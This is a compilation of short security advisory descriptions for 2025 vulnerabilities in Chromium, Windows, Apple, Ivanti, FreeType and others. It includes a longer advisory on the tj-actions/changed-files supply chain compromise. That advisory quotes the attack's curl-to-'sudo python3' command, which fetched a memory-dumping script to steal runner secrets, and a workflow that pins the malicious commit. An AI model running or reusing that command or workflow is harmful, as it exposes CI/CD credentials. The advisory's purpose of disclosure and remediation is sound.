Memory corruption due to unauthorized command execution in GPU micronode while executing specific sequence of commands.
Memory corruption while rendering graphics using Adreno GPU drivers in Chrome.
Memory corruption due to unauthorized command execution in GPU micronode while executing specific sequence of commands.
Chromium: CVE-2025-5419 Out of bounds read and write in V8
Chromium: CVE-2025-5068 Use after free in Blink
Information disclosure when an invalid RTCP packet is received during a VoLTE/VoWiFi IMS call.
An attacker was able to perform an out-of-bounds read or write on a JavaScript object by confusing array index sizes.
An authentication bypass in the API component of Ivanti Endpoint Manager Mobile 12.5.0.0 and prior allows attackers to access protected resources without proper credentials via the API.
Default credentials in Ivanti Cloud Services Application before version 5.0.5 allows a local authenticated attacker to escalate their privileges.
Output Messenger before 2.0.63 was vulnerable to a directory traversal attack through improper file path handling. By using ../ sequences in parameters, attackers could access sensitive files outside the intended directory, potentially leading to configuration leakage or arbitrary file access.
Commvault Web Server contains an unspecified vulnerability that allows a remote, authenticated attacker to create and execute webshells.
Microsoft Windows Common Log File System (CLFS) Driver contains a use-after-free vulnerability that allows an authorized attacker to elevate privileges locally.
A buffer overflow issue was addressed with improved memory handling. This issue is fixed in macOS Sequoia 15.4, macOS Sonoma 14.7.5, macOS Ventura 13.7.5. An app may be able to execute arbitrary code with kernel privileges.
Accessibility. A logging issue was addressed with improved data redaction.
A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.4, macOS Sonoma 14.7.5, macOS Ventura 13.7.5. An app may be able to gain root privileges.
A parsing issue in the handling of directory paths was addressed with improved path validation. This issue is fixed in iOS 18.4 and iPadOS 18.4, macOS Sequoia 15.4, macOS Sonoma 14.7.5, macOS Ventura 13.7.5. An app may be able to gain root privileges.
Accessibility. A logging issue was addressed with improved data redaction.
VMware Tools for Windows contains an authentication bypass vulnerability due to improper access control.Ā A malicious actor with non-administrative privileges on a guest VM may gain ability to perform certain high privilege operations within that VM.
Chromium: CVE-2025-2783 Incorrect handle provided in unspecified circumstances in Mojo on Windows
Summary A supply chain attack compromised the tj-actions/changed-files GitHub Action, impacting over 23,000 repositories. Attackers retroactively modified multiple version tags to reference a malicious commit, exposing CI/CD secrets in workflow logs. The vulnerability existed between March 14 and March 15, 2025, and has since been mitigated. This poses a significant risk of unauthorized access to sensitive information.
This has been patched in v46.0.1.
Details The attack involved modifying the tj-actions/changed-files GitHub Action to execute a malicious Python script. This script extracted secrets from the Runner Worker process memory and printed them in GitHub Actions logs, making them publicly accessible in repositories with public workflow logs.
Key Indicators of Compromise (IoC): - Malicious commit: 0e58ed8671d6b60d0890c21b07f8835ace038e67 - Retroactively updated tags pointing to the malicious commit: - v1.0.0: 0e58ed8671d6b60d0890c21b07f8835ace038e67 - v35.7.7-sec: 0e58ed8671d6b60d0890c21b07f8835ace038e67 - v44.5.1: 0e58ed8671d6b60d0890c21b07f8835ace038e67
Malicious Code Execution: The malicious script downloaded and executed a Python script that scanned memory for secrets, base64-encoded them, and logged them in the build logs: B64BLOB=curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3
This script targeted the Runner Worker process, extracting and exfiltrating its memory contents.
Proof of Concept (PoC) Steps to Reproduce: 1. Create a GitHub Actions workflow using the tj-actions/changed-files action:
yml name: "tj-action changed-files incident" on: pullrequest: branches: - main jobs: changedfiles: runs-on: ubuntu-latest steps: - name: Get changed files id: changed-files uses: tj-actions/changed-files@0e58ed8671d6b60d0890c21b07f8835ace038e67 2. Run the workflow and inspect the logs in the Actions tab. 3. Vulnerable workflows may display secrets in the logs.
Detection: Analyze network traffic using Harden-Runner, which detects unauthorized outbound requests to: - gist.githubusercontent.com
Live reproduction logs: š Harden-Runner Insights
This attack was detected by StepSecurity when anomaly detection flagged an unauthorized outbound network call to gist.githubusercontent.com.
Duration of Vulnerability The vulnerability was active between March 14 and March 15, 2025.
Action Required 1. Review your workflows executed between March 14 and March 15: - Check the changed-files section for unexpected output. - Decode suspicious output using the following command: echo 'xxx' | base64 -d | base64 -d - If the output contains sensitive information (e.g., tokens or secrets), revoke and rotate those secrets immediately.
2. Update workflows referencing the compromised commit: - If your workflows reference the malicious commit directly by its SHA, update them immediately to avoid using the compromised version.
3. Tagged versions: - If you are using tagged versions (e.g., v35, v44.5.1), no action is required as these tags have been updated and are now safe to use.
4. Rotate potentially exposed secrets: - As a precaution, rotate any secrets that may have been exposed during this timeframe to ensure the continued security of your workflows.
Impact - Type of vulnerability: Supply chain attack, Secrets exposure, Information leakage - Who is impacted: - Over 23,000 repositories using tj-actions/changed-files. - Organizations with public repositories are at the highest risk, as their logs may already be compromised. - Potential consequences: - Theft of CI/CD secrets (API keys, cloud credentials, SSH keys). - Unauthorized access to source code, infrastructure, and production environments. - Credential leaks in public repositories, enabling further supply chain attacks.
An out of bounds write exists in FreeType versions 2.13.0 and below (newer versions of FreeType are not vulnerable) when attempting to parse font subglyph structures related to TrueType GX and variable font files. The vulnerable code assigns a signed short value to an unsigned long and then adds a static value causing it to wrap around and allocate too small of a heap buffer. The code then writes up to 6 signed long integers out of bounds relative to this buffer. This may result in arbitrary code execution. This vulnerability may have been exploited in the wild.
Sensitive data storage in improperly locked memory in Windows Remote Desktop Services allows an unauthorized attacker to execute code over a network.
Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally.
Use after free in DNS Server allows an unauthorized attacker to execute code over a network.
Sensitive data storage in improperly locked memory in Windows Remote Desktop Services allows an unauthorized attacker to execute code over a network.
Untrusted pointer dereference in Windows Subsystem for Linux allows an unauthorized attacker to execute code locally.
Microsoft Access Remote Code Execution Vulnerability
Relative path traversal in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
Microsoft Windows Win32 Kernel Subsystem contains a use-after-free vulnerability that allows an authorized attacker to elevate privileges locally.
Integer overflow or wraparound in Windows Fast FAT Driver allows an unauthorized attacker to execute code locally.